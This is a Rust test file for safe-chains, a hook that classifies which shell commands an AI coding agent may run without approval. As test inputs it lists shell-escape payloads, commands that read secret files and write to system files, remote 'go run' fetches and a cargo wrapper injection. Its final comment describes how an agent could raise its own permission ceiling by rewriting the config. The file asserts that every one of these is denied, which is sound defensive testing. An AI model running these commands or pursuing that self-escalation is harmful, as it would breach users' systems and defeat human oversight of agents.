safe-chains 0.210.2

Auto-allow safe bash commands in agentic coding tools
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
//! Property-based safety guards for handler-backed commands.
//!
//! The declarative engine's proptests (`engine::testgen`) only exercise the *level algebra* — they
//! never feed command STRINGS through the classifier — and the registry walkers don't descend
//! `DispatchKind::Custom`, so hand-rolled handlers (mlr, perl, sed, …) had **no generative
//! coverage**. That blind spot is why the mlr `--from data.csv -I cat` fail-open (a value-taking main
//! flag mis-parsed so a later `-I` slipped through) reached adversarial review instead of a red test.
//!
//! These guards close it, all driven by proptest so they explore permutations no hand-written
//! example would:
//!   - `handlers_never_panic_and_are_deterministic` — every handler command, fuzzed, is a total +
//!     deterministic function (no index-out-of-bounds in a token walk, no order-dependence).
//!   - `write_mode_flags_deny_out_of_workspace_targets` — the refined "poison token" invariant: an
//!     in-place / output flag must never let a write land OUTSIDE the workspace (SafeWrite is
//!     local-only). `sed -i file.txt` is a fine local write; `sed -i /etc/hosts` is not.
//!   - `mlr_in_place_flag_denied_anywhere_in_main_region` — `-I`/`--in-place` anywhere in mlr's
//!     pre-verb region is denied, the exact class the `--from … -I` hole belonged to.

use proptest::prelude::*;

use crate::pathctx::PathCtx;
use crate::{command_verdict, command_verdict_in, is_safe_command};

fn workspace() -> PathCtx {
    PathCtx { cwd: Some("/work".into()), root: Some("/work".into()) }
}

/// EVERY command the classifier knows — handler-backed AND the full TOML registry (~1200+). New
/// commands (either kind) are picked up automatically, so the no-panic/determinism fuzz covers the
/// whole surface, not just hand-rolled handlers.
fn command_names() -> Vec<String> {
    let mut names: Vec<String> =
        crate::handlers::handler_docs().into_iter().map(|d| d.name).collect();
    names.extend(crate::registry::toml_command_names().into_iter().map(str::to_string));
    names.sort();
    names.dedup();
    names
}

/// Argument tokens chosen to stress flag/verb/path parsers: option shapes, separators, the `--`
/// terminator, equals-forms, path-like and bare words.
fn arb_arg_token() -> impl Strategy<Value = String> {
    prop_oneof![
        Just("-i".to_string()),
        Just("-I".to_string()),
        Just("--in-place".to_string()),
        Just("--".to_string()),
        Just("-".to_string()),
        Just("=".to_string()),
        Just("--from".to_string()),
        Just("/etc/passwd".to_string()),
        Just("../x".to_string()),
        Just("data.csv".to_string()),
        "-[a-zA-Z]",
        "--[a-z][a-z-]{0,6}",
        "--[a-z]{1,5}=[a-z,;]{1,3}",
        "[a-z][a-z0-9]{0,4}",
        "[./][a-z/.]{0,6}",
    ]
}

proptest! {
    #![proptest_config(ProptestConfig::with_cases(1500))]

    /// A handler must be a total, deterministic function of the command string: never panic
    /// (e.g. an out-of-bounds `tokens.get` in a flag walk) and never depend on evaluation order.
    #[test]
    fn handlers_never_panic_and_are_deterministic(
        cmd in proptest::sample::select(command_names()),
        args in proptest::collection::vec(arb_arg_token(), 0..6),
    ) {
        let mut parts = vec![cmd];
        parts.extend(args);
        let line = parts.join(" ");
        let a = command_verdict(&line).is_allowed();
        let b = command_verdict(&line).is_allowed();
        prop_assert_eq!(a, b, "nondeterministic verdict for `{}`", line);
    }
}

/// Shell metacharacters + structural keywords that stress the CST/parser layers ABOVE the leaf
/// handlers — quotes, substitutions, chains, redirects, loop/if keywords, nesting.
fn arb_shell_fragment() -> impl Strategy<Value = String> {
    prop_oneof![
        Just("\"".into()), Just("'".into()), Just("`".into()), Just("\\".into()),
        Just("$(".into()), Just(")".into()), Just("${".into()), Just("}".into()),
        Just("(".into()), Just("{".into()), Just("[".into()), Just("]".into()),
        Just("|".into()), Just("&&".into()), Just("||".into()), Just(";".into()),
        Just("\n".into()), Just(">".into()), Just("<".into()), Just("&".into()), Just("=".into()),
        Just("for".into()), Just("do".into()), Just("done".into()),
        Just("if".into()), Just("then".into()), Just("fi".into()), Just("while".into()),
        Just("bash".into()), Just("-c".into()), Just("perl".into()), Just("-e".into()),
        Just("sed".into()), Just("mlr".into()), Just("find".into()), Just("git".into()),
        Just("xargs".into()), Just("rm".into()), Just("cargo".into()), Just("go".into()),
        "[a-z]{1,4}", "-[a-z]{1,3}", "[/.~][a-z/.]{0,4}", "\\$[A-Za-z]{1,3}",
    ]
}

proptest! {
    #![proptest_config(ProptestConfig::with_cases(2500))]

    /// The WHOLE classifier (parse → CST → engine → handlers) is a total, deterministic function of
    /// ANY string — arbitrary metacharacters, unbalanced quotes/parens/substitutions, chains,
    /// redirects, keyword salads. It never panics (a panic in the hook is a crash → fail-open) and
    /// never depends on evaluation order. Reaches parser paths the per-command arg fuzz can't.
    #[test]
    fn arbitrary_command_strings_never_panic(
        frags in proptest::collection::vec(arb_shell_fragment(), 0..28),
    ) {
        let line = frags.join(" ");
        let a = command_verdict(&line).is_allowed();
        let b = command_verdict(&line).is_allowed();
        prop_assert_eq!(a, b, "nondeterministic verdict for `{}`", line.escape_debug().to_string());
    }
}

/// Run `command_verdict` on a worker thread; `true` iff it FINISHED (without panicking) within
/// `budget`. `false` means it panicked or HUNG — both are bugs for a PreToolUse hook that must
/// return promptly and never crash. A genuinely-hung worker leaks, which is acceptable in a test
/// that has, by that point, already failed.
fn finishes_within(input: &str, budget: std::time::Duration) -> bool {
    let owned = input.to_string();
    let (tx, rx) = std::sync::mpsc::sync_channel::<()>(1);
    std::thread::spawn(move || {
        let done = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
            let _ = command_verdict(&owned);
        }));
        if done.is_ok() {
            let _ = tx.send(());
        }
    });
    rx.recv_timeout(budget).is_ok()
}

/// TERMINATION / anti-DoS guard. The classifier must complete PROMPTLY on adversarial input — no
/// infinite loop (a byte-walk index that fails to advance) and no super-linear blow-up (a nested
/// re-scan). A hook that hangs is a denial of service and, depending on the harness timeout policy,
/// a fail-open. Each pathological input — long repeats, deep unbalanced nesting, and per-grammar
/// worst cases for the hand-rolled analyzers (perl interpolation, sed scripts, mlr chains, find,
/// awk, git -c) — must classify within the budget.
#[test]
fn classifier_terminates_on_adversarial_input() {
    let budget = std::time::Duration::from_millis(1500);
    let n = 100_000;
    let corpus: Vec<String> = vec![
        "(".repeat(n), ")".repeat(n), "$(".repeat(n / 2), "`".repeat(n),
        "\"".repeat(n), "'".repeat(n), "{".repeat(n), "}".repeat(n), "[".repeat(n),
        "|".repeat(n), ";".repeat(n), "&".repeat(n), "a".repeat(n), " ".repeat(n),
        "-".repeat(n), "\n".repeat(n / 100), "&&".repeat(n / 2), "><".repeat(n / 2),
        format!("echo {}", "$(".repeat(n / 4)),
        format!("{}echo hi", "for x in a; do ".repeat(n / 200)),
        format!("{}fi", "if true; then ".repeat(n / 200)),
        // per-handler pathological inputs (nested / unbalanced in the ANALYZED grammars)
        format!("perl -e 'print \"{}\"'", "@{".repeat(n / 2)),  // interpolation-block re-scan
        format!("perl -e '{}'", "@{[".repeat(n / 3)),
        format!("sed '{}'", "s/a/b/;".repeat(n / 8)),
        format!("sed '{}'", "{".repeat(n / 2)),
        format!("mlr {}", "cat then ".repeat(n / 10)),
        format!("find . {}", "-name x ".repeat(n / 10)),
        format!("awk '{}'", "{print}".repeat(n / 8)),
        format!("git -c {} log", "a=b ".repeat(n / 8)),
        "a\"b'c`d$e(f)g{h}[i]|j".repeat(n / 20),
        // Interleaved UNCLOSED command/process substitutions with word chars between the openers.
        // `cmd_sub`/`proc_sub` used to recurse into the inner script BEFORE checking for a close, so
        // every opener re-parsed the whole remaining tail and winnow's alt/repeat retried overlapping
        // work at each level — exponential (a$(a<(a × 14 already ran >30s). Found by the parse fuzzer.
        "a$(a<(a".repeat(25),
        "a<(a$(a".repeat(25),
        "a$(a`a".repeat(25),
        "a$((a$(a".repeat(25),
        "a$(b<(c$(d`e".repeat(20),
        // Nested exec-delegation: `fd -x`/`find -exec` re-classify the wrapped command, and NESTING
        // them branches multiplicatively (one re-check per pre-exec base × per level) — exponential
        // at the CLASSIFY layer, past what the parser's own budget sees. Found by the parse fuzzer.
        "fd fd -x ".repeat(40),
        "fd a b -x ".repeat(30),
        "find . -exec find . -exec ".repeat(20),
        format!("{}echo hi", "fd a -x fd b -x ".repeat(30)),
    ];
    let mut slow = Vec::new();
    for input in &corpus {
        if !finishes_within(input, budget) {
            let head = input.chars().take(24).collect::<String>();
            slow.push(format!("len {} starting `{}`", input.len(), head.escape_debug()));
        }
    }
    assert!(slow.is_empty(), "classifier hung/panicked (>{budget:?}) on:\n  {}", slow.join("\n  "));
}

proptest! {
    #![proptest_config(ProptestConfig::with_cases(400))]

    /// GENERALIZES `classifier_terminates_on_adversarial_input` beyond its fixed corpus: a random walk
    /// over the substitution alphabet (openers, closers, quotes, escape, word chars) must classify
    /// within a tight budget. The `a$(a<(a` exponential lived in exactly this alphabet, and the class
    /// — not that one string — is what must stay dead as new constructs are added to the grammar.
    #[test]
    fn substitution_salad_terminates_fast(
        toks in proptest::collection::vec(
            prop_oneof![
                Just("a"), Just("$("), Just("<("), Just(">("), Just("$(("),
                Just("`"), Just("'"), Just("\""), Just(")"), Just("\\"), Just(" "),
            ],
            0..40,
        ),
    ) {
        let input: String = toks.concat();
        prop_assert!(
            finishes_within(&input, std::time::Duration::from_millis(500)),
            "classifier hung on substitution salad: {:?}", input
        );
    }
}

// The refined poison-token guard. Each template writes to a `{p}` slot — via a write-enabling FLAG
// (`-i`) or a write command EMBEDDED in a script (`sed 'w …'`). Substituting an out-of-workspace
// target must be DENIED (SafeWrite is local-only); the sed cases are exactly the `1w /etc/cron.d/x`
// class the operand path-gate can't see because the path lives inside the script token.
const WRITE_MODE_CASES: &[&str] = &[
    "sed -i 's/a/b/' {p}",
    "sed --in-place 's/a/b/' {p}",
    "sed 'w {p}' input.txt",
    "sed '1w {p}' input.txt",
    "sed 's/a/b/w {p}' input.txt",
    "perl -i -pe 's/a/b/' {p}",
    "perl -i.bak -pe 's/a/b/' {p}",
    "mlr -I --csv cat {p}",
    "mlr --in-place --csv cat {p}",
];

// The read counterpart: a command that READS a `{p}` named inside an argument must not disclose an
// out-of-workspace / secret file. `sed 'r /etc/shadow'` is the class.
const READ_MODE_CASES: &[&str] = &["sed 'r {p}' input.txt", "sed 'R {p}' input.txt"];

// Targets outside the /work workspace. Deliberately excludes /tmp and /dev (admitted scratch loci).
const OUT_OF_WORKSPACE: &[&str] = &[
    "/etc/hosts",
    "/etc/passwd",
    "/root/.bashrc",
    "/usr/local/bin/x",
    "~/.ssh/id_rsa",
    "~/.bashrc",
    "../outside.txt",
    "../../escape.txt",
];

proptest! {
    /// A write-enabling flag or script command must never allow a write outside the workspace.
    #[test]
    fn write_mode_flags_deny_out_of_workspace_targets(
        template in proptest::sample::select(WRITE_MODE_CASES.to_vec()),
        target in proptest::sample::select(OUT_OF_WORKSPACE.to_vec()),
    ) {
        let line = template.replace("{p}", target);
        let allowed = command_verdict_in(&line, workspace()).is_allowed();
        prop_assert!(!allowed, "out-of-workspace write was allowed: `{}`", line);
    }

    /// A read command naming a file inside an argument must not disclose an out-of-workspace file.
    #[test]
    fn read_commands_deny_out_of_workspace_targets(
        template in proptest::sample::select(READ_MODE_CASES.to_vec()),
        target in proptest::sample::select(OUT_OF_WORKSPACE.to_vec()),
    ) {
        let line = template.replace("{p}", target);
        let allowed = command_verdict_in(&line, workspace()).is_allowed();
        prop_assert!(!allowed, "out-of-workspace read was allowed: `{}`", line);
    }
}

// Pre-verb snippets for mlr's main region. A few carry values (`--from data.csv`) so the generator
// naturally produces the `--from <value> -I` interleaving — the exact shape that fooled the first
// verb-boundary draft.
const MLR_MAIN_SNIPPETS: &[&str] = &[
    "--csv", "--tsv", "--json", "--icsv --ojson",
    "--from data.csv", "--ifs ,", "--from in.csv --ofs ;", "--seed 42",
];
const MLR_VERBS: &[&str] = &["cat", "head", "tail", "cut", "sort", "filter"];

proptest! {
    /// `-I`/`--in-place` anywhere in mlr's pre-verb (main-flag) region is denied — the class the
    /// `--from data.csv -I cat` hole belonged to. (After the verb, `-I` isn't an in-place directive,
    /// so it's out of scope here.)
    #[test]
    fn mlr_in_place_flag_denied_anywhere_in_main_region(
        snippets in proptest::collection::vec(proptest::sample::select(MLR_MAIN_SNIPPETS.to_vec()), 0..4),
        verb in proptest::sample::select(MLR_VERBS.to_vec()),
        poison in proptest::sample::select(vec!["-I", "--in-place"]),
        pos in 0usize..12,
    ) {
        // Tokenize the chosen main-region snippets, then splice the poison flag in at some index.
        let mut main: Vec<String> =
            snippets.join(" ").split_whitespace().map(str::to_string).collect();
        let at = pos.min(main.len());
        main.insert(at, poison.to_string());
        let line = format!("mlr {} {} data.csv", main.join(" "), verb);
        prop_assert!(!is_safe_command(&line), "mlr in-place flag in main region was allowed: `{}`", line);
    }
}

// The cross-command guard for the whole KIND: commands that evaluate an argument as CODE (an
// embedded interpreter / DSL) must deny a shell-escape payload in that code slot. This is what
// flushed both the mlr `put '$x=system(…)'` hole (verb ran the DSL) and the sed `1e id` hole (the
// `e` command executes) — and it confirms perl/ruby/python/node/gnuplot/awk already hold.
//
// It is a CORPUS, not literally "all commands": a blanket "every command denies a shell-escape arg"
// is unsound (`echo 'system("x")'` is a safe print). The soundness comes from listing only commands
// whose argument IS code. Add a row when a new interpreter/DSL command is allowlisted.
const INTERPRETER_ESCAPES: &[(&str, &[&str])] = &[
    ("mlr put '{c}' data.csv", &["$x=system(\"id\")", "$*=exec(\"id\",\"a\")"]),
    ("mlr filter '{c}' data.csv", &["NR==1;system(\"id\")"]),
    ("awk '{c}' f.txt", &["BEGIN{system(\"id\")}", "{print | \"sh\"}"]),
    ("sed '{c}' f.txt", &["1e id", "e cat /etc/passwd", "s/x/y/e"]),
    ("perl -e '{c}'", &[
        "system(\"id\")", "exec(\"id\")", "`id`",
        // Perl double-quote INTERPOLATION executes code — the string-stripping bypass class.
        "print \"@{[system(q(id))]}\"",     // array-ref list interpolation
        "print \"${\\ system(q(id))}\"",    // scalar-ref interpolation
        "print \"@{[`id`]}\"",              // backtick inside interpolation
        "print \"$h{`id`}\"",               // hash SUBSCRIPT is evaluated
        "print \"$a[`id`]\"",               // array SUBSCRIPT is evaluated
    ]),
    ("ruby -e '{c}'", &["system(\"id\")", "exec(\"id\")", "`id`"]),
    ("python3 -c '{c}'", &["import os;os.system(\"id\")", "__import__(\"os\").system(\"id\")"]),
    ("node -e '{c}'", &["require(\"child_process\").execSync(\"id\")"]),
    ("gnuplot -e '{c}'", &["system \"id\""]),
];

proptest! {
    /// For any command in the interpreter corpus, a shell-escape in its code argument is denied.
    #[test]
    fn interpreter_commands_deny_shell_escapes(
        entry in proptest::sample::select(INTERPRETER_ESCAPES.to_vec()),
    ) {
        let (template, payloads) = entry;
        for payload in payloads {
            let line = template.replace("{c}", payload);
            prop_assert!(!is_safe_command(&line), "interpreter shell-escape allowed: `{}`", line);
        }
    }
}

// Flag-form equivalence: a valued flag means the same thing however it is spelled — separate
// (`-e V` / `--long V`), glued (`-eV`), or equals (`--long=V`). All four forms must classify
// IDENTICALLY, for the SAME value, whether that value is safe or dangerous. This catches the class
// where a parser handles one spelling but not another — the `sed -eS` regression, where glued `-e`
// fell through and the input file was scanned as the script. Unlike the poison guards (which only
// check the deny direction), this also catches a FALSE DENY of a legit form.
struct FormCase {
    cmd: &'static str,
    short: &'static str,
    long: &'static str,
    tail: &'static str,
    values: &'static [&'static str],
}

const FORM_CASES: &[FormCase] = &[
    FormCase {
        cmd: "sed",
        short: "-e",
        long: "--expression",
        tail: "file.txt",
        // A mix of safe scripts and dangerous ones — the forms must AGREE on each.
        values: &["s/a/b/", "s/a/b/g", "w /etc/passwd", "e", "r /etc/shadow", "1e id"],
    },
    FormCase {
        cmd: "grep",
        short: "-e",
        long: "--regexp",
        tail: "file.txt",
        values: &["foo", "^bar$", "a.*b"],
    },
];

fn form_combos() -> Vec<(String, String, String, String, String)> {
    let mut v = Vec::new();
    for c in FORM_CASES {
        for val in c.values {
            v.push((
                c.cmd.to_string(),
                c.short.to_string(),
                c.long.to_string(),
                c.tail.to_string(),
                (*val).to_string(),
            ));
        }
    }
    v
}

proptest! {
    /// The four spellings of a valued flag classify identically for the same value.
    #[test]
    fn flag_forms_classify_identically(combo in proptest::sample::select(form_combos())) {
        let (cmd, short, long, tail, v) = combo;
        let forms = [
            format!("{cmd} {short} '{v}' {tail}"),  // separate short: -e V
            format!("{cmd} {short}'{v}' {tail}"),   // glued short:    -eV
            format!("{cmd} {long} '{v}' {tail}"),   // separate long:  --long V
            format!("{cmd} {long}='{v}' {tail}"),   // equals long:    --long=V
        ];
        let verdicts: Vec<bool> = forms.iter().map(|f| is_safe_command(f)).collect();
        prop_assert!(
            verdicts.iter().all(|&x| x == verdicts[0]),
            "flag forms of the same value diverge: {:?}",
            forms.iter().zip(&verdicts).collect::<Vec<_>>(),
        );
    }
}

// ── Execution-origin scope (design: docs/design/behavioral-taxonomy-execution-origin.md) ──────────
//
// The SAFETY INVARIANTS below are active and green NOW — they lock current-correct behavior *before*
// the level-engine change, so the executor-locus work can't silently regress them: a code-exec
// command must deny a FOREIGN executor, an UNPINNABLE executor, and opaque non-shell INLINE code.
// The TARGET behaviors (workspace executor allows; build/test/RUN consistency) are `#[ignore]`d as the
// executable spec — un-ignore each as the resolver + level rule land (doc §8, §9).

// Templates with an `{exec}` slot = the script being executed. These accept any worktree-local
// FILESYSTEM path as the executor. `go run` is NOT here — its argument is a go PACKAGE (import-path
// semantics: a bare path may be a remote module), so it has its own test (`go_run_*`) below with a
// go-appropriate corpus.
const EXEC_FILE_CMDS: &[&str] =
    &["bash {exec}", "sh {exec}", "python3 {exec}", "node {exec}", "ruby {exec}"];
// Executors OUTSIDE the /work workspace — running these is running FOREIGN code.
const FOREIGN_EXECUTORS: &[&str] =
    &["/tmp/x.sh", "/etc/x.sh", "/usr/local/bin/x", "~/x.sh", "~/Downloads/x", "../x.sh", "/root/x"];
// Executors INSIDE the workspace (path-shaped, relative → resolves under /work → worktree).
const WORKTREE_EXECUTORS: &[&str] =
    &["./run.sh", "scripts/deploy.sh", "./cmd/tool", "bin/tool", "src/main.py"];

proptest! {
    /// SAFETY INVARIANT: a code-exec command with a FOREIGN executor is denied — always.
    #[test]
    fn code_exec_denies_foreign_executor(
        tmpl in proptest::sample::select(EXEC_FILE_CMDS.to_vec()),
        exec in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
    ) {
        let line = tmpl.replace("{exec}", exec);
        prop_assert!(
            !command_verdict_in(&line, workspace()).is_allowed(),
            "foreign executor was allowed: `{}`",
            line,
        );
    }

    /// SAFETY INVARIANT: locus monotonicity — a foreign executor is never MORE permissive than the
    /// same command with a worktree executor. (Vacuous today since both deny; guards the coming change.)
    #[test]
    fn code_exec_worktree_dominates_foreign(
        tmpl in proptest::sample::select(EXEC_FILE_CMDS.to_vec()),
        w in proptest::sample::select(WORKTREE_EXECUTORS.to_vec()),
        f in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
    ) {
        let foreign_ok = command_verdict_in(&tmpl.replace("{exec}", f), workspace()).is_allowed();
        let worktree_ok = command_verdict_in(&tmpl.replace("{exec}", w), workspace()).is_allowed();
        prop_assert!(!foreign_ok || worktree_ok, "foreign more permissive than worktree: `{}`", tmpl);
    }

    /// SAFETY INVARIANT: a project-runner's executor-REDIRECT flag (`cargo run --manifest-path P`)
    /// is locus-gated — a FOREIGN manifest denies (else `cargo run --manifest-path ~/evil/Cargo.toml`
    /// would run a foreign project), a worktree one allows (a nested-crate manifest is the dev loop).
    #[test]
    fn project_runner_redirect_flag_is_locus_gated(
        f in proptest::sample::select(FOREIGN_EXECUTORS.to_vec()),
        w in proptest::sample::select(WORKTREE_EXECUTORS.to_vec()),
    ) {
        prop_assert!(
            !command_verdict_in(&format!("cargo run --manifest-path {f}"), workspace()).is_allowed(),
            "foreign manifest-path allowed: `cargo run --manifest-path {}`", f,
        );
        prop_assert!(
            command_verdict_in(&format!("cargo run --manifest-path {w}"), workspace()).is_allowed(),
            "worktree manifest-path denied: `cargo run --manifest-path {}`", w,
        );
    }
}

/// `go run` gates its PACKAGE argument two ways: it must be a LOCAL filesystem path (a bare import
/// path may be a remote module — `go run pkg@version` DOWNLOADS AND RUNS remote code), and that path
/// must be worktree-local. A local worktree package allows; a remote import path, a bare import path,
/// or a foreign filesystem path denies.
#[test]
fn go_run_allows_local_worktree_package_only() {
    for ok in ["go run .", "go run ./cmd/tool", "go run ./main.go", "go run -race ./cmd", "go run main.go"] {
        assert!(command_verdict_in(ok, workspace()).is_allowed(), "go run local worktree package denied: {ok}");
    }
    for bad in [
        // remote / bare import paths — module-resolved, potentially network-fetched
        "go run rsc.io/goversion@latest", "go run github.com/evil/x@latest",
        "go run example.com/cmd", "go run bin/tool", "go run pkg/sub",
        // local-shaped but FOREIGN filesystem
        "go run ~/x.go", "go run /tmp/x.go", "go run ../x.go",
    ] {
        assert!(!command_verdict_in(bad, workspace()).is_allowed(), "go run non-local package allowed: {bad}");
    }
}

/// SAFETY INVARIANT: across the cargo build family, `--manifest-path FOREIGN` (running a foreign
/// project's build.rs/tests/binary) denies, and `--config` (a `runner`/`rustc-wrapper` command-
/// injection surface) is not accepted. A WORKTREE manifest still allows (a nested-crate build).
#[test]
fn cargo_family_manifest_path_and_config_are_gated() {
    for sub in ["build", "test", "bench", "check", "run", "doc"] {
        for m in ["~/evil/Cargo.toml", "/tmp/x/Cargo.toml", "/etc/x/Cargo.toml"] {
            let bad = format!("cargo {sub} --manifest-path {m}");
            assert!(!command_verdict_in(&bad, workspace()).is_allowed(), "foreign manifest allowed: {bad}");
        }
        let cfg = format!("cargo {sub} --config build.rustc-wrapper=/tmp/evil");
        assert!(!is_safe_command(&cfg), "cargo --config injection allowed: {cfg}");
    }
    for sub in ["build", "test", "check", "run"] {
        let ok = format!("cargo {sub} --manifest-path ./sub/Cargo.toml");
        assert!(command_verdict_in(&ok, workspace()).is_allowed(), "worktree manifest denied: {ok}");
    }
}

/// SAFETY INVARIANT: opaque non-shell INLINE code (`-c`/`-e` for an interpreter we don't analyze) is
/// denied. (`bash -c` is re-parsed and `perl -e` is AST-analyzed — those are on their own paths, so
/// they're excluded here; their safety is their analyzers' job, not this invariant's.)
#[test]
fn opaque_inline_code_denies() {
    for c in ["python3 -c 'import os'", "node -e 'x()'", "ruby -e 'x'"] {
        assert!(!is_safe_command(c), "opaque inline code allowed: {c}");
    }
}

/// SAFETY INVARIANT: an UNPINNABLE executor (env var, glob, command-substitution) is denied — the
/// fail-closed rule: an executor we can't pin to a worktree locus is foreign.
#[test]
fn unpinnable_executor_denies() {
    for c in ["bash $SCRIPT", "bash *.sh", "python3 $(get-script)", "sh \"$X\""] {
        assert!(!is_safe_command(c), "unpinnable executor allowed: {c}");
    }
}

/// SCOPE (doc §8/§9.6): a code-exec command with a WORKTREE executor is allowed — the dev loop.
/// Covers bash/sh, the interpreters (python3/node/ruby), and the compiled runners (go run).
#[test]
fn code_exec_allows_worktree_executor() {
    for tmpl in EXEC_FILE_CMDS {
        for exec in WORKTREE_EXECUTORS {
            let line = tmpl.replace("{exec}", exec);
            assert!(
                command_verdict_in(&line, workspace()).is_allowed(),
                "worktree executor denied: `{}`",
                line,
            );
        }
    }
}

/// SCOPE (doc §9.3): build/test/bench/RUN of the same project all classify identically —
/// `cargo run` is the dev loop, consistent with build/test/bench (which already run project code).
#[test]
fn cargo_build_family_run_is_consistent() {
    for c in ["cargo build", "cargo test", "cargo bench", "cargo run"] {
        assert!(is_safe_command(c), "build-family sub is inconsistent (run should match build/test): {c}");
    }
}

/// RATCHET guard — flush out (and block new) DENYLIST-shaped handlers. safe-chains is an
/// ALLOWLIST classifier: a handler must enumerate what's SAFE and deny the rest by omission, so a
/// new/unknown dangerous input fails CLOSED. A denylist (a list of BAD things, allow the rest)
/// fails OPEN — a not-yet-listed danger slips through. The clearest signal is a `static`/`const`
/// named for what it REJECTS (`*_DANGEROUS_*`, `*_MUTATING_*`, `*_FORBIDDEN_*`, …). Known offenders
/// are grandfathered while they're converted to positive allowlists (see TODO.md); the set only
/// SHRINKS — a NEW denylist-named constant fails here. (The behavioral backstop for the
/// "argument-is-code" subclass is `interpreter_commands_deny_shell_escapes`.)
#[test]
fn no_new_denylist_named_constants_in_handlers() {
    // Being converted to safe-flag/subcommand allowlists. Remove each as it lands; goal is empty.
    // (Empty now — every handler denylist has been converted to a positive allowlist.)
    const GRANDFATHERED: &[&str] = &[];
    const MARKERS: &[&str] =
        &["DANGEROUS", "FORBIDDEN", "UNSAFE", "BLOCKED", "BLOCKLIST", "DENYLIST", "MUTATING", "BADWORD"];

    fn decl_name(line: &str) -> Option<&str> {
        for kw in ["static ", "const "] {
            if let Some(idx) = line.find(kw) {
                let name = line[idx + kw.len()..].split([':', ' ', '<', '=']).next()?.trim();
                if !name.is_empty() {
                    return Some(name);
                }
            }
        }
        None
    }

    fn rs_files(dir: &std::path::Path, out: &mut Vec<std::path::PathBuf>) {
        for e in std::fs::read_dir(dir).unwrap() {
            let p = e.unwrap().path();
            if p.is_dir() {
                rs_files(&p, out);
            } else if p.extension().is_some_and(|x| x == "rs") {
                out.push(p);
            }
        }
    }

    let root = std::path::Path::new(env!("CARGO_MANIFEST_DIR")).join("src/handlers");
    let mut files = Vec::new();
    rs_files(&root, &mut files);
    assert!(files.len() > 5, "scanned only {} handler files — the walk is broken, guard is vacuous", files.len());

    let mut offenders = Vec::new();
    let mut seen_grandfathered = Vec::new();
    for file in &files {
        for line in std::fs::read_to_string(file).unwrap().lines() {
            let Some(name) = decl_name(line) else { continue };
            if !MARKERS.iter().any(|m| name.contains(m)) {
                continue;
            }
            if GRANDFATHERED.contains(&name) {
                seen_grandfathered.push(name.to_string());
            } else {
                offenders.push(format!("{}: `{name}`", file.file_name().unwrap().to_string_lossy()));
            }
        }
    }

    assert!(
        offenders.is_empty(),
        "new DENYLIST-named constant(s) — enumerate the SAFE surface (positive allowlist), not the \
         dangerous one, so unknown inputs fail closed:\n  {}",
        offenders.join("\n  "),
    );
    // Non-vacuity + drift: every grandfathered name must still exist, else remove it from the list.
    for g in GRANDFATHERED {
        assert!(
            seen_grandfathered.iter().any(|s| s == g),
            "grandfathered denylist constant `{g}` no longer found — it was converted or renamed; \
             drop it from GRANDFATHERED so the ratchet stays tight",
        );
    }
}

/// SELF-ESCALATION DEFENSE (systemic, command-level lock). safe-chains' TRUST ROOT —
/// `~/.config/safe-chains.toml`, the user config that grants what commands may run, pins which
/// repo `.safe-chains.toml` files are honored, AND sets the auto-approve `level` ceiling
/// (`configured_hook_level`) — must be UNWRITABLE by any auto-approved command. If an agent could
/// write it, it would grant itself everything, pin a malicious repo config, OR raise its own level
/// ceiling to yolo. This lock is precisely what lets the hook trust the configured level.
/// This enumerates the WRITE VECTORS (redirects, tee, cp/mv/install, dd, truncate, ln, in-place
/// editors) × PATH SPELLINGS (tilde, `$HOME`, absolute, `/./` dodge) and asserts every one DENIES —
/// pinning end-to-end what `regions::…safe_chains_config_is_read_ok_write_denied_and_ungrantable`
/// only checks at the locus level, so a future writer handler that skips the locus gate is caught.
/// READS stay allowed (safe-chains reads its own config).
